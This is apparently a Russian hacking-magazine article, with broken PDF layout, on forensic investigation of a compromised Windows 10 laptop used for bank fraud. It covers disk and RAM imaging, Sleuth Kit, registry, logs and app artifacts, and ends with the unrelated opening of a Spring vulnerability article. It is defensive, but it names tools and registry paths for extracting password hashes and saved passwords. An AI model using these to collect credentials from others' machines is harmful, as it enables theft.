аль тер натив ные  NTFS‐
потоки

Все  форен зик‐про цеду ры  мож но  выпол нить  с  при мене нием  раз лично го
ПО, но мы, как пра вило, будем юзать два или три вари анта наибо лее ходовых
ути лит. Мно гие из пред став ленных инс тру мен тов open source либо сво бод но
рас простра няемые, дру гие же проп риетар ные, но  тут ничего не подела ешь,
про фес сиональ ные паки спе циали зиро ван ных прог рамм всег да будут сто ить
денег.

Не кото рые осо бен ности форен зики в Windows 10
Со вре мени  выхода Windows Vista мно гие  тех ничес кие  аспекты работы Win‐
dows  (сис темный  реестр,  запись  событий  в  жур налы  и  дру гие)  нес коль ко
изме нились. Вот почему руководс тва, опи сан ные, к при меру, для Windows XP,
сей час  не  работа ют  на  более  поз дних  релизах  Windows.  Что  же  говорить
про «десят ку», на которую раз работ чики пос тоян но выпус кают Update packs.

Наг лядное срав нение изме нений на при мере Win 10 и Win 8.1

Итак,  по  срав нению со  все ми осталь ными вер сиями ОС в  «десят ке»  появи‐ 
лись  допол нитель ные  источни ки  дан ных,  которые  эксперт‐кри мина лист
может исполь зовать для сбо ра арте фак тов:

 — бра узер, при шед ший на сме ну IE;• Edge Browser
  —  голосо вой  дви жок,  приз ванный  стать  новым    по  логике

Microsoft;
• Cortana HMI

  —  облачное  хра нили ще,  в  том  чис ле  час то  исполь зуемое
для  неболь ших  бэкапов  лич ных  фай лов  и  как  сто ридж  при ложе ний
для мобиль ных устрой ств на базе Android;

• OneDrive

Native  Applications  (Skype,  Photo  App,  Webcam  App)  —  при ложе ния,  «из
короб ки» дос тупные сра зу пос ле уста нов ки сис темы;

•

  —  сис темные  опо веще ния  из  трея,  где  очень  час то  мож но
обна ружить  све дения  о  прог раммах,  запущен ных  в  режиме  ожи дания,
анти вирус ном ПО, оста нов ке бран дма уэра и про чем;

• Notification

 —  так  ска зать,  кеширо ван ные фай лы  для  быс тро го  запус ка,
эта фича при суща не толь ко «десят ке», но ее тоже отчасти мож но прив лечь
для получе ния допол нитель ных кру пиц информа ции.

• Prefetch files

Сто ит добавить,  что пос ле выхода Windows 7 в про дажу Microsoft сос тавила
чек‐лист основных арте фак тов и их источни ков, которые могут исполь зовать‐ 
ся  раз личны ми  экспер тами,  занима ющи мися раз бором инци ден тов. Спи сок
получил наз вание  , и ты можешь пос мотреть его 

 и  .
Windows Jump Lists для Win‐

dows 7 для Windows 10

WWW

По лез ные матери алы об осо бен ностях форен зики
в Windows 10:
Пре зен тация  , крат ко опи‐ 
сыва ющая некото рые осо бен ности сбо ра арте‐ 
фак тов на 10‐й вер сии «окон»

• Windows 10 Forensics

Кни га Rhys P. J. Evans с наз вани ем • Windows 10
Forensic Analysis
Не боль шая,  но  содер жатель ная  бро шюра • Win‐
dows  10  Forensics  (Center  for  Digital  Investiga‐
tion)

Об щий чек‑лист про вер ки
Для поис ка и сбо ра кри мина лис тичес ких доказа тель ств мы будем про верять
сле дующие основные пун кты на нашей сис теме:

опе ратив ную  память  (сис темные  и  поль зователь ские  про цес сы,  внед‐ 
ренные DLL, пос торон ние служ бы и запущен ный вре донос ный код);

•

жес ткий диск (уда лен ные пор тации, раз мечен ные области дис ка, стер тые
фай лы, слеп ки теневых копий, «остатки» от кор зины, ярлычки LNK и Notifi‐
cation, уста нов ленный софт, ска чан ные фай лы и так далее);

•

се тевой  стек  (под нятые  кон некты,  откры тые  пор ты,  «неиз вес тные»  сер‐ 
висы на пор тах, паразит ный тра фик с нашей машины);

•

сис темный  реестр  (инстал лирован ный  и  уда лен ный  софт,  вре мен ные
ярлы ки, ассо циации фай лов и про чее);

•

сис темные  жур налы  (запись  таких  событий,  как  логон,  эска лация  прав,
дос туп  к  дирек тори ям,  изме нение  груп повой  полити ки,  соз дание/уда‐ 
ление учет ки, сбой и перезаг рузка);

•

фай лы под качки и  гибер нации  (часть дан ных в этих фай лах успешно сох‐ 
раня ется в неиз менном виде);

•

дан ные  при ложе ний  (Skype,  OneDrive,  Xbox),  поч та  и  бра узе ры  (исто рия
посеще ний, зак ладки, ска чан ные фай лы, быть может, пас сы).

•

Сни маем образ HDD-дис ка взло ман ной сис темы
Пер вым делом обя затель но сни маем дамп все го содер жимого жес тко го дис‐ 
ка  нашего  ноут бука.  Во‐пер вых,  это  убе режет  тебя  от  косяков  и  слу чай ных
пов режде ний (и, соот ветс твен но, уте ри час ти бес ценных арте фак тов), во‐вто‐ 
рых, будет слу жить эта лоном сос тояния сис темы на момент получе ния аппа‐ 
рату ры  на  экспер тизу,  а  в‐треть их,  поз волит  получить  образ,  готовый
к углублен ному иссле дова нию, но не тре бующий при этом физичес кого дос‐ 
тупа к устрой ству. В   мы уже при води ли при меры соф та,
который  поможет  нам  спра вить ся  с  этой  задачей.  Сегод ня  мы  будем  поль‐ 
зовать ся ути литой The Forensic Toolkit Imager (FTK Imager).

пер вой нашей статье

Прог рамму  мож но  ска чать  с    или  най ти,  к  при меру,
в спе циали зиро ван ных дис три бути вах   или   (Computer Aided INves‐
tigative  Environment).  Более  под робную  инфу  о  сня тии  обра за  и  дру гих  дос‐ 
тупных ути литах для это го ты можешь про честь в докумен те SANS 

.  А  для  тех,  у  кого  сов сем  туго  с  англий ским,
есть   с кар тинка ми, где уже точ но все будет понят но.

офи циаль ного  сай та
DEFT CAINE

Forensic Im‐
ages:  For  Your  Viewing  Pleasure

по шаго вый гайд
Рас смот рим нес коль ко вари антов работы с тул зой. Пер вый (CLI) и вто рой

(GUI)  вари анты на рабочей сис теме с  заг рузкой  хос товой ОС. Тре тий вари‐ 
ант — это более безопас ный спо соб соз дания обра за HDD на вык лючен ной
машине, но о нем чуть поз же.

Нач нем с пер вого. Пот рошим ноут, вытас кива ем из него HDD, далее под‐ 
клю чаем  его  к  нашему  лабора тор ному  ком пу  и,  запус тив  в  кон соль ном
режиме FTK Imager, про писы ваем коман ды.

Наш диск, который будем копиро вать

В CLI‐интерфей се прог раммы пишем:

E:\>ftkimager.exe <HARD DRIVE THAT YOU WANT TO IMAGE> e:\<Destin
ation path of output file with name NOT extension> ‐‐e01 ‐‐frag 2G 
‐‐compress 9 ‐‐verify

В нашем слу чае это выг лядит так:

E:\>ftkimager.exe \\.\PhysicalDrive0 e:\IMAGE_FORENSIC\filename 
‐‐e01 ‐‐frag 2G ‐‐compress 9 ‐‐verify

Ес ли все пра виль но, то в кон це мы дол жны получить вот такую кар тинку.

CLI‐окно прог раммы FTK Imager в про цес се соз дания обра за HDD

Лю бите лям  гра фичес кого  интерфей са  при дет ся  боль ше  дви гать ся.  :)
Для  того  что бы  соз дать  образ  дис ка,  идем  в  пункт  меню  File →  Create  disk
image.

На чало соз дания обра за HDD в GUI‐вер сии ути литы FTK Imager

Да лее выбира ем пункт «Физичес кий диск».

Вы бор источни ка дан ных для соз дания обра за

Ес ли диск в сис теме не один, то выбира ем сис темный.

Вы бор сис темно го дис ка в качес тве источни ка соз дания обра за

Не забыва ем пос тавить галоч ку «верифи кация» пос ле соз дания обра за.

Стар товое меню для запус ка соз дания обра за HDD

Ме ню  выбора  дос тупных  фор матов  для  сох ранения  обра за  дис ка  нашего
ноут бука. Для сов мести мос ти с дру гим ПО выбира ем дефол тный вари ант —

.E01

Вы бор типа фор мата, в котором будет сох ранен образ HDD

Ок но про цес са соз дания обра за дис ка

И  наконец,  вари ант  тре тий —  получе ние  обра за  без  заг рузки  хос товой ОС
путем  сня тия  дам па  в  режиме  Live  CD.  Это  наибо лее  безопас ный  и  пред‐ 
почти тель ный  спо соб,  так  как  нам  не  нуж но  вме шивать ся  в  сущес тву ющую
кон фигура цию  сис темы  (получать  пра ва  адми на,  забивать  ненуж ной  инфой
сис темный лог), и, что более важ но, это не поз волит унич тожить ни один арте‐ 
факт, оставший ся пос ле взло ма. К при меру, если исполь зовалась мал варь, то
она по тай меру или дру гому событию может замес ти сле ды сво его при сутс‐ 
твия в сис теме (очис тить логи, %TEMP%‐дирек тории, уда лить свой исполня‐ 
емый файл), что может сущес твен но изме нить кар тину про исхо дяще го.

Для  этих  целей  исполь зуем  спе циаль ный  Linux‐дис три бутив  CAINE.  Все
дей ствия  будут  выпол нять ся  в  тер минале.  Под клю чаем  внеш ний  HDD‐диск
к нашему паци енту, а вмес те с тем парал лель но заг ружа емся с USB‐флеш ки
в CAINE. Мон тиру ем внеш ний HDD (/dev/sdb1) во вре мен ную дирек торию:

root@caine:~# mkdir /mnt/target
root@caine:~# mount /dev/sdb1 /mnt/target

Да лее соз даем хеш‐зна чение жес тко го дис ка ноут бука (/dev/sda), исполь зуя
алго ритм  :MD5

root@caine:~# md5sum /dev/sda > /mnt/target/HDD_Img_Forensic.md5

Ути литой   дела ем дамп дис ка /dev/sda в дирек торию /mnt/target, задав имя
обра за, к при меру HDD_Img_Forensic.

dd

root@caine:~#dd if=/dev/sda of=/mnt/target/HDD_Img_Forensic.img 
conv=sync,noerror bs=8k

И  в  завер шение  про водим  верифи кацию  получив шегося  обра за  по  сум ме
хеша MD5, таким обра зом заверяя себя, что все прош ло успешно.

root@caine:~#md5sum /mnt/target/HDD_Img_Forensic.img > /mnt/target/
HDD_Img_Forensic.img.md5
root@caine:~# cat /mnt/target/*.md5

И перед вык лючени ем раз монти руем нашу вре мен ную точ ку:

root@caine:~# umount /mnt/target/
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Соз даем дамп RAM иссле дуемо го ноут бука
Пос ле того как мы соз дали дамп жес тко го дис ка, сле дует сде лать ана логич‐ 
ный, но уже опе ратив ной памяти, так как там мож но най ти очень мно го арте‐ 
фак тов,  осо бен но  если  дело  каса ется  поис ка  сле дов  инфи циро вания
или уста нов ки левого соф та на машину. Для это го мы возь мем две тул зы —

  из  пакета    и  подоб ную  ей 
.  Получен ные  .mem‐обра зы  мож но  будет  открыть  для  пар синга

в  ,  , или  .

DumpIt Comae  Memory  Toolkit Belkasoft  RAM
Capturer
Volatility Rekall Belkasoft Evidence Center
Пер вый дамп дела ем, исполь зуя DumpIt.

Соз дание обра за RAM в прог рамме DumpIt

Вто рой дамп RAM мы сде лаем в Belkasoft RAM Capturer.

Соз дание обра за RAM в прог рамме Belkasoft RAM Capturer

Ок но прог раммы соз дания дам па RAM в прог рамме Belkasoft RAM
Capturer

Нас тало вре мя открыть получен ный нами дамп RAM в ком бай не под наз вани‐ 
ем Belkasoft Evidence Center.

Ре зуль тат мон тирова ния обра за памяти в Belkasoft Evidence Center

Об разы HDD‐дис ка, получен ные на самом пер вом шаге, с лег костью мож но
скор мить  .Arsenal Image Mounter

Ок но мас тера мон тирова ния обра за HDD в Arsenal Image Mounter

Спи сок обра зов, готовых к мон тирова нию, в Arsenal Image Mounter

Глав ное окно Arsenal Image Mounter
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ПОИСК АРТЕФАКТОВ
В  самом  начале  неп лохо  бы  получить  некото рую  информа цию  о  про филе
поль зовате ля.  Сде лаем  мы  это  с  помощью  .  Ути лита  извле‐ 
кает сис темную информа цию о RID, сро ке дей ствия учет ной записи и сме не
пароля;  ‐хеш;  количес тво  вхо дов  в  сис тему,  даты  неудач ных  попыток;
име ющиеся груп пы и путь к про филю поль зовате ля.

ForensicUserInfo

LM/NT

Нач нем  с  самого  прос того,  а  имен но  гля нем  спи сок  поль зователь ских
и  сис темных  про цес сов.  Самый  быс трый  спо соб  —  это  запус тить  из  CMD
встро енную ути литу tasklist:

 — вывод спис ка всех про цес сов в текущем окне;• c:\>tasklist

 — вывод спис ка всех работа ющих сер висов в сис‐ 
теме;

• c:\>tasklist /svc

 — вывод дан ных о про цес‐ 
сах (сер висах) в тек сто вый файл с име нем processes_list.txt.

• c:\>tasklist > c:\processes_list.txt

Ре зуль тат выпол нения коман ды tasklist

Ре зуль тат выпол нения коман ды tasklist с опци ей сор тиров ки по сер висам

Еще  один  неп лохой  вари ант  —  это  любой  аль тер натив ный  Task  Manager,
к при меру   или  .AnVir Task Manager Process Explorer

Вклад ка «Про цес сы» в AnVir Task Manager

Вклад ка «Сер висы» в AnVir Task Manager

Прос мотр авто заг рузки в AnVir Task Manager

А  теперь  дос танем  из  загаш ника  нес коль ко  спе циаль но  заточен ных
под форен зику ути лит, вхо дящих в ком плект под общим наз вани ем  .Sleuth Kit

Для прос мотра дос тупной инфы о памяти набира ем коман ду  .mmstat

Вы вод резуль татов работы ути литы mmstat

Мы зна ем тип сис темно го тома, и пос ле исполне ния коман ды mmls она поз‐ 
волит прос мотреть нераз мечен ные области дис ка:

mmls ‐t dos X:RAM_Img_Forensic.E01

Вы вод резуль татов работы ути литы mmls

Да лее  мы  можем  исполь зовать  FileName  Layer  Tools,  поз воля ющий  прос‐ 
мотреть уда лен ные фай лы и нераз мечен ные сег менты.

fls ‐o 1435648 X:RAM_Img_Forensic.E01

Вы вод резуль татов работы ути литы fls

Что  теперь? Соз дадим некий bodyfile — файл‐заготов ку с помощью все  той
же  fls.  Это  поз волит  нам  выс тро ить  тай млайн  активнос ти  в  сис теме  (англ.
timelines  of  file  activity).  Записы ваем  получен ные  дан ные  в  файл 

.
bodyfile.

txt

fls ‐r ‐m "/" ‐o 1435648 X:RAM_Img_Forensic.E01 > bodyfile.txt

За писы ваем получен ные дан ные с помощью fls в файл bodyfile.txt

Пос ле того как мы соз дали  , мы можем заюзать ути лит ку mac‐
time и выс тро ить вре мен ную шка лу активнос ти (уда ления, соз дания, пере име‐ 
нова ния) фай лов в сис теме c экспор том в Excel‐подоб ный вид:

bodyfile.txt

mactime.pl ‐b bodyfile.txt ‐d > timeline.csv

Соз даем диаг рамму вре мен ной активнос ти (timeline) c помощью
mactime.pl

Кста ти, вот тебе неболь шая шпар галка по исполь зуемым ути литам из пакета
Sleuth Kit:

 — информа ция о типе сис темных томов и таб лице раз делов дис ка;• mmstat
 — информа ция о занятом мес те, уда лен ных и   фай лах;• mmls allocated
  —  информа ция  о  ФС,  вклю чая  серий ный  номер  тома,  ID,  раз мер

клас тера, сме щение от начала;
• fsstat

 — поиск allocated и уда лен ных фай лов в дирек тории или всем дис ке;• fls
 — соз дание тай млай на активнос ти фай ловой сис темы из дан ных,

получен ных от fls.
• mactime

Даль ше поп робу ем най ти уда лен ные фай лы или то, что от них еще оста лось.
Одна из самых луч ших ути лит для это го —   из сбор ника Sleuth Kit.Autopsy

Мас тер запус ка Autopsy

Ре зуль таты поис ка уда лен ных и allocated фай лов в прог рамме Autopsy

Неп лохим  вари антом  будет  еще  прой тись  NirSoft’овской  ути литой 
 и пошукать остатки фай лов, сох ранив шихся в 

.

Shadow‐
CopyView те невых  копи ях Win‐
dows

WWW

В  архи вах  «Хакера»  есть 
.

по лез ная  ста тей ка
по теме Shadow Copy

Прос мотр най ден ных теневых копий в прог рамме ShadowCopyView

Прос мотр сох ранен ных слеп ков в дирек тории /Temp и инфо по точ ке
вос ста нов ления в окне ути литы ShadowCopyView

Сле дующим шагом будет ана лиз  . В ход пой дут три тул зы
 из пакета Magnet AXIOM,   и 

.

сис темно го реес тра
Windows Registry analysis RegRipper Registry Explor‐
er

Ана лиз кус та NTUser в прог рамме RegRipper 2.8

Заг рузка основно го кус та реес тра в ути литу Registry Explorer

Ана лиз зна чения клю чей реес тра с помощью Registry Explorer

Прос мотр зна чений MRU в ути лите Registry Explorer

Для того что бы прос мотреть уда лен ный софт, мож но ковыр нуть файл — базу
дан ных   по пути в сис темной дирек тории:NTUSER.DAT

NTUSER.DAT\SOFTWARE\Microsoft\UserData\UninstallTimes

А  так же мож но под нять сох ранен ные URL‐адре са, если юзал ся ста рый доб‐ 
рый ослик IE:

NTUSER.DAT\SOFTWARE\Microsoft\InternetExplorer\TypedURLs

И там же поп робовать дос тать пароли, если поль зователь нас тро ил авто сох‐ 
ранение вве ден ных дан ных:

NTUSER.DAT\Software\Microsoft\Internet Explorer\IntelliForms

Шпар галка иссле дова теля: инте рес ные мес та реес тра
Спи сок пос ледних исполь зуемых фай лов (Most Recent Used — MRU) находит‐ 
ся по пути

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Explorer\RunMRU

Гло баль ные  уни каль ные  иден тифика торы  (ID),  которые  содер жат  в  себе
зашиф рован ные  записи  каж дого  объ екта  ОС,  при ложе ния  (прог раммы),
исполня емо го  exe‐фай ла,  к  которо му  поль зователь  обра щал ся  в  сис теме,
хра нят ся в вет ке

HKEY_CURRENT_USER\Software\Mcirosoft\Windows\CurrentVersion\
Explorer\UserAssist

Спи сок ID и соот ветс тву юще го им соф та  .мож но гля нуть здесь
Все ког да‐либо ранее под клю чав шиеся к компь юте ру USB‐устрой ства так‐ 

же отме чают ся в вет ке реес тра

HKEY_LOCAL_MACHINE\System\ControlSet00x\Enum\USBSTOR

Бес про вод ные  сети  (Wi‐Fi  SSID),  к  которым  компь ютер  ког да‐либо  под клю‐ 
чал ся, будут хра нить ся в вет ке

HKEY_LOCAL_MACHINE\Software\microsoft\WZCSVC\Parameters\Interface

Для  тех,  кто  хочет  боль ше  узнать  об  инте рес ных  мес тах  Windows  Registry,
очень хорошо подой дет статья  .Forensic Analysis Of The Windows Registry

Продолжение статьи →

http://www.woanware.co.uk/forensics/forensicuserinfo.html
https://ru.wikipedia.org/wiki/LM-%D1%85%D0%B5%D1%88
https://www.anvir.net/
https://technet.microsoft.com/ru-ru/sysinternals/processexplorer.aspx
https://www.sleuthkit.org/sleuthkit/
http://www.sleuthkit.org/sleuthkit/man/mmstat.html
http://www.sleuthkit.org/sleuthkit/man/mmls.html
https://wiki.sleuthkit.org/index.php?title=Allocated_files
http://www.sleuthkit.org/sleuthkit/man/fsstat.html
http://www.sleuthkit.org/sleuthkit/man/fls.html
http://www.sleuthkit.org/sleuthkit/man/mactime.html
https://www.sleuthkit.org/autopsy/
http://www.nirsoft.net/utils/shadow_copy_view.html
https://ru.wikipedia.org/wiki/%D0%A2%D0%B5%D0%BD%D0%B5%D0%B2%D0%B0%D1%8F_%D0%BA%D0%BE%D0%BF%D0%B8%D1%8F
https://xakep.ru/2016/05/09/faq-windows-shadow-copy/
https://support.microsoft.com/ru-ru/help/256986/windows-registry-information-for-advanced-users
https://www.magnetforensics.com/getting-started-magnet-axiom/
https://github.com/keydet89/RegRipper2.8
https://ericzimmerman.github.io/
https://social.technet.microsoft.com/Forums/ru-RU/367ff5c1-7139-4b3a-8bae-5ede78c35d00/ntuserdat-?forum=windowsserverru
https://forensicswiki.org/wiki/List_of_Jump_List_IDs
http://www.forensicfocus.com/a-forensic-analysis-of-the-windows-registry
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ЧТОБЫ РАСКРЫТЬ ОГРАБЛЕНИЕ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Се тевой стек
Для прос мотра сетевых под клю чений на ско рую руку мож но вос поль зовать ся
обыч ной коман дой шел ла  :netstat

netstat ‐a

Прос мотр сетевых под клю чений коман дой netstat

Сре ди все го вывода нас боль ше все го инте ресу ют сле дующие ста тусы:
CLOSED — соеди нение зак рыто, сокет не исполь зует ся;•
LISTEN (LISTENING) — ожи дает вхо дящих соеди нений;•
ESTABLISHED — соеди нение уста нов лено (дан ные переда ются).•

И еще допол нитель ные опции вывода:

// Список соединений TCP
netstat ‐at
// Список соединений UDP
netstat ‐au
// Список всех открытых входящих портов
netstat ‐n

Спи сок текущих соеди нений TCP

Спи сок всех откры тых вхо дящих пор тов

Ана логич ный  вывод мож но  пос мотреть  и  в  гра фичес ком режиме,  исполь зуя
кро хот ную ути литу  .TCPViewer

Прос мотр сетевых кон нектов в прог рамме TCPViewer

Еще одна спе циаль ная тул за —  . Помимо фич, которые име ются
у опи сан ных выше прог рамм, в NetworkMiner есть опции извле чения фай лов
из про токо лов FTP, TFTP, HTTP, POP3, IMAP, экс тракт сер тифика тов X.509 cer‐
tificates из SSL‐сес сий, декап суляция GRE, 802.1Q, PPPoE, VXLAN, опре деле‐ 
ние геоло кации по IP, экспорт резуль татов в CSV, Excel, XML, CASE, JSON‐LD.

NetworkMiner

Дан ные по TCP/IP‐сте ку, пре дос тавлен ные прог раммой NetworkMiner

Ана лизи руем кор зину (Recycle Bin)
Не  сек рет,  что  часть  дан ных,  побывав ших  в  кор зине,  все  еще  мож но  прос‐ 
мотреть, даже если фай лы были уда лены (в тер миноло гии Windows, «кор зина
очи щена»).  Исполь зовать  будем  боль шой  пак  под  наз вани ем 

.
EnCase

Forensic

Ин терфейс прог раммы EnCase Forensic

Вот и дош ла оче редь до ана лиза логов (сис темных жур налов). В работе будут
учас тво вать    от  уже  извес тной  коман ды  раз работ чиков  Nir‐
Soft, а так же  .

FullEventLogView
Magnet AXIOM for computers

Глав ное окно ути литы FullEventLogView для прос мотра логов Windows

Прос мотр сис темных логов в Magnet AXIOM for computers

Итак, какие события нас будут инте ресо вать в пер вую оче редь:
Account Logon — вход в сис тему под опре делен ной учет ной записью;•
Account Mgmt — изме нение учет ной записи (переме щение в груп пу, пере‐ 
име нова ние, наз начение прав и так далее);

•

Logon Events — вход в учет ную запись / выход из нее;•
Directory Service — при соеди нение объ ектов из Active Directory;•
Object Access — аудит дос тупа к какому‐либо объ екту ОС;•
Policy Change — изме нение полити ки безопас ности;•
Privilege Use — выпол нение каких‐либо команд от име ни адми нис тра тора
или дру гого при виле гиро ван ного поль зовате ля;

•

Process  Tracking  —  тре кинг  событий,  свя зан ных  с  сис темны ми  про цес‐ 
сами;

•

System Events — заг рузка и завер шение работы ОС (в том чис ле сбои).•

Бо лее  под робный    с  при над лежащи ми  им  ID
мож но гля нуть в   и  .

спи сок  событий  безопас ности
хо рошей статье на Хаб ре на стра нич ке про екта GitHub

Сле дующий шаг — это LNK file analysis, или поиск ярлы ков на прог раммы,
которые  были  уста нов лены,  запуще ны  или  поз днее  уда лены  в  какой‐то
момент.  В  работе  будем  исполь зовать  уже  зна комый  нам  пак  EnCase
Forensic.

LNK file analysis в Magnet AXIOM for computers

Ну и в завер шение всех про цедур мы еще на вся кий слу чай прос каним встро‐ 
енные  в  сис тему  поль зователь ские  App’ы —  Skype,  OneDrive  и  Edge,  вдруг
най дем там что‐нибудь инте рес ное. Для бра узе ра Edge заюзаем уже извес‐ 
тный нам  . Той же прог раммой кое‐какие дан ные мы
попыта емся извлечь из фай ла под качки Pagefile.sys.

Belkasoft Evidence Center

Ок но выбора объ ектов поис ка в Belkasoft Evidence Center 2018

На пос ледок  ко  все му  перечис ленно му  добавим  Skype.  Кста ти,  для  скай па
про филь с полез ной для нас информа цией хра нит ся в дирек тории

C:\Users\%USERNAME%\AppData\Roaming\Skype\

хо тя  не  помеша ло  бы  поис кать  пап ку  с  име нем Skype  по  все му  вин ту,  пос‐ 
коль ку мес сен джер мог быть уста нов лен кас томно или запущен как portable‐
вер сия.

На ша  тул за  Belkasoft  Evidence  Center  извле кает  дан ные  из  ука зан ного
фай ла  про филя,  в  том  чис ле  SQLite‐лис ты,  нераз мечен ную  область  дис ка,
син хро низи рован ные фай лы из чатов, дан ные из   и 

. Есть и еще одна замеча тель ная  ути лита —   от  все  тех же
ребят из NirSoft.

pagefile.sys hiberfil.
sys SkypeLogView

Ре зуль таты вывода дан ных из локаль ного про филя Skype ути литой
SkypeLogView

Нес мотря  на  то  что  это может  показать ся  дет ской  забавой,  в Windows‐сис‐ 
темах  мож но  извлечь  даже  исто рию  опо веще ний  из  сис темно го  трея.
Информа ция о нотифи кации хра нит ся в дирек тории

\Users\%Username%\AppData\Local\Microsoft\Windows\Notifications

Имя  базы  дан ных,  содер жащей  исто рию  нотифи кации,  может  менять ся
на каж дой машине и зависит от каких‐то внут ренних парамет ров (рас ширение
фай ла  не  обя затель но  будет  имен но  .db).  Что бы  ее  открыть,  понадо бит ся

. Запус тив SQLite, нуж но най ти фай лы .db вSQLite manager

C:\Users\Username\AppData\Local\Microsoft\Windows\Notifications

и, прос то добавив в менед жер, получить окно встро енно го вьюве ра.
Ана логич ная тема с голосо вым помощ ником Cortana: у нее тоже есть база

дан ных, хра нящая исто рию, и рас полага ется она по пути

C:\Users[User]\AppData\Local\Packages\Microsoft.Windows.Cortana_xxxx\
LocalState\ESEDatabase_CortanaCoreInstance\CortanaCoreDb

Нес коль ко слов об OneDrive. Если была вклю чена опция син хро низа ции (нап‐ 
ример,  с  Android‐смар тфо ном),  то  часть  фай лов  мож но  най ти  в  гад жете
по пути

/mnt/sdcard/Android/data/com.microsoft.skydrive

Ес ли речь идет про дес ктоп ную вер сию,  то  логи  заг рузки/выг рузки,  син хро‐ 
низа ции  и  подоб ных  событий  мож но  пос мотреть  в  тек сто вых  докумен тах
по пути

C:\Users\<USERNAME>\AppData\Local\Microsoft\OneDrive\logs

РЕЗУЛЬТАТЫ РАССЛЕДОВАНИЯ
Мы соб рали всю дос тупную информа цию, и что же в сухом остатке?

Сре ди  про чих  фай лов  в  Shadow  Copy  мы  наш ли  неиз вес тный  исполня‐ 
емый файл, который, как потом выяс нилось, пред став лял собой код мал вари,
заточен ной  под  кра жу  логинов/паролей,  наб ранных  с  кла виату ры  сим волов,
буфера обме на, фай лов coockie. При чем файл этот никак не детек тится уста‐ 
нов ленным AV.  Так же  было  замече но,  что  во  внеш ний мир  на  нес коль ко  IP‐
адре сов сер веров, рас положен ных в Запад ной Евро пе, висят уста нов ленные
соеди нения,  не  типич ные  для  соф та,  инстал лирован ного  на  паци енте.
По  логам  сис темы  ДБО  было  отме чено,  что  логин  в  сис тему  про исхо дил
в обе ден ное вре мя,  ког да каз начей, которо му при над лежит дан ный ноут бук,
отсутс тво вал  в  офи се  и  не  мог  про извести  эти  опе рации.  Боль шой
оплошностью  спе циалис та  было  оставлять  USB‐клю чи  с  ЭП  встав ленны ми
пос тоян но в порт компь юте ра.

В  сот рудни чес тве  с  анти вирус ными  ана лити ками  нам  уда лось  вос ста‐ 
новить весь ма веро ятный сце нарий взло ма.

Итак,  ноут бук  за  неделю  до  инци ден та  переда вали  в  служ бу  под дер жки
для уста нов ки ПО и опти миза ции про изво дитель нос ти. Имен но тог да на кли‐ 
ента  был  закинут  вре донос ный  код,  который  про писал  себя  в  авто заг рузку.
В  течение  недели  мал варь  собира ла  все  дан ные,  вво димые  с  кла виату ры,
сде лала  дамп  реес тра,  ана лизи рова ла  часы  активнос ти  поль зовате ля
и переда ла все это на управля ющий сер вер зло умыш ленни ка. Далее мал варь
отра бота ла  как  :  под тянула  из  сети  ком понен ты  бэк дора  (что  поз‐ 
волило  уста новить  защищен ный  канал  уда лен ной  свя зи  к  компь юте ру  жер‐ 
твы), пред положи тель но исполь зовав  .

дроп пер

ин капсу ляцию в DNS‐про токол
В день Х, ког да сот рудник отпра вил ся на обед, хакер под клю чил ся к инфи‐ 

циро ван ной машине, залоги нил ся в ДБО, исполь зуя под клю чен ные ЭП‐клю чи
на  USB‐токене,  про вел  финан совые  тран закции  и  замел  сле ды:  уда лил
из сис темы мал варь, модули бэк дора, зачис тил  , часть security и поль‐ 
зователь ских логов, на которые хва тило пол номочий.

%TEMP%

Вви ду  «инер тнос ти  сис темы  бух галтер ско го  уче та»  (всем,  кто  работа ет
с  бух галте рией,  рекомен дуем  взять  этот  эвфе мизм  на  воору жение.  :)  —
Прим. ред.) кор поратив ная служ ба безопас ности узна ла об инци ден те толь ко
через  два  дня,  ког да  зло умыш ленник  уже  успел  обна личить  переве ден ные
средс тва.  Одна ко  арте фак ты,  оставши еся  на  вык лючен ном  ноут буке,  хоть
и не вер нули день ги,  но все‐таки поз волили вос ста новить  кар тину про исхо‐ 
дяще го.

ЗАКЛЮЧЕНИЕ
Наш раз бор сегод няшне го боль шого кей са подошел к кон цу. Ты на прак тике
поз накомил ся с исполь зовани ем основных форен зик‐ути лит, бла года ря чему
в  слу чае  взло ма  смо жешь  самос тоятель но  прой тись  по  клю чевым  «чекам»,
соб рать  арте фак ты  и  на  осно вании  этих  све дений  вос ста новить  сце нарий
взло ма. Если при бавить к это му пар синг мал вари и бэк дора, которые исполь‐ 
зовались  для  несан кци они рован ного  под клю чения  и  кра жи  дан ных  учет ной
записи  от  ДБО,  то  вуаля,  мы  вплот ную  подош ли  к  локали зации  зло умыш‐ 
ленни ка!  Теперь  ты  зна ешь,  как  работа ют  нас тоящие  форен зик‐экспер ты
и каким тру дом по кру пицам они собира ют бес ценную информа цию.

http://blog.sedicomm.com/2017/07/11/20-komand-netstat-dlya-upravleniya-setyu-linux-i-windows/
https://technet.microsoft.com/ru-ru/sysinternals/tcpview.aspx
http://www.netresec.com/?page=NetworkMiner
https://www.guidancesoftware.com/encase-forensic
https://www.nirsoft.net/utils/full_event_log_view.html
https://www.magnetforensics.com/magnet-axiom/computers/
https://support.microsoft.com/ru-ru/help/977519/description-of-security-events-in-windows-7-and-in-windows-server-2008
https://habr.com/company/netwrix/blog/148501/
https://github.com/4n6k/Jump_List_AppIDs/blob/master/4n6k_AppID_Master_List.md
https://belkasoft.com/ru/ec
https://www.nirsoft.net/utils/skype_log_view.html
https://sqlitestudio.pl/index.rvt
https://ru.wikipedia.org/wiki/%D0%94%D1%80%D0%BE%D0%BF%D0%BF%D0%B5%D1%80
https://xakep.ru/2011/07/28/56349/
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ВЗЛОМ

Spring  —  это  популяр ней ший  фрей мворк  для  раз работ ки  на  Java,  на  нем
базиру ются  сот ни  решений  в  самых  раз ных  областях.  Тут  и  все воз можные
веб‐сай ты, и энтер прайз‐сер висы, и мно го дру гого. Труд но най ти серь езное
при ложе ние на Java, которое бы не исполь зовало Spring. Недав но в нем были
най дены  две  кри тичес кие  уяз вимос ти,  которые  при водят  к  уда лен ному
исполне нию кода. Давай пос мотрим, как они работа ют.

Пер вая  уяз вимость  (CVE‐2018‐1270)  каса ется  модуля  для  работы
с веб‐сокета ми, вто рая (CVE‐2018‐1260) — модуля авто риза ции по про токо лу
OAuth2. Но преж де чем раз бирать их, под готовим стенд для тес тирова ния.

СТЕНД
Сно ва  мои  любимые  стен ды  для  Java,  да  еще  и  с  модуля ми  фрей мвор ка,
о чем еще мож но меч тать? :‐)

В работе нам понадо бят ся:
лю бая опе раци онка;•
Docker;•
Java 8;•
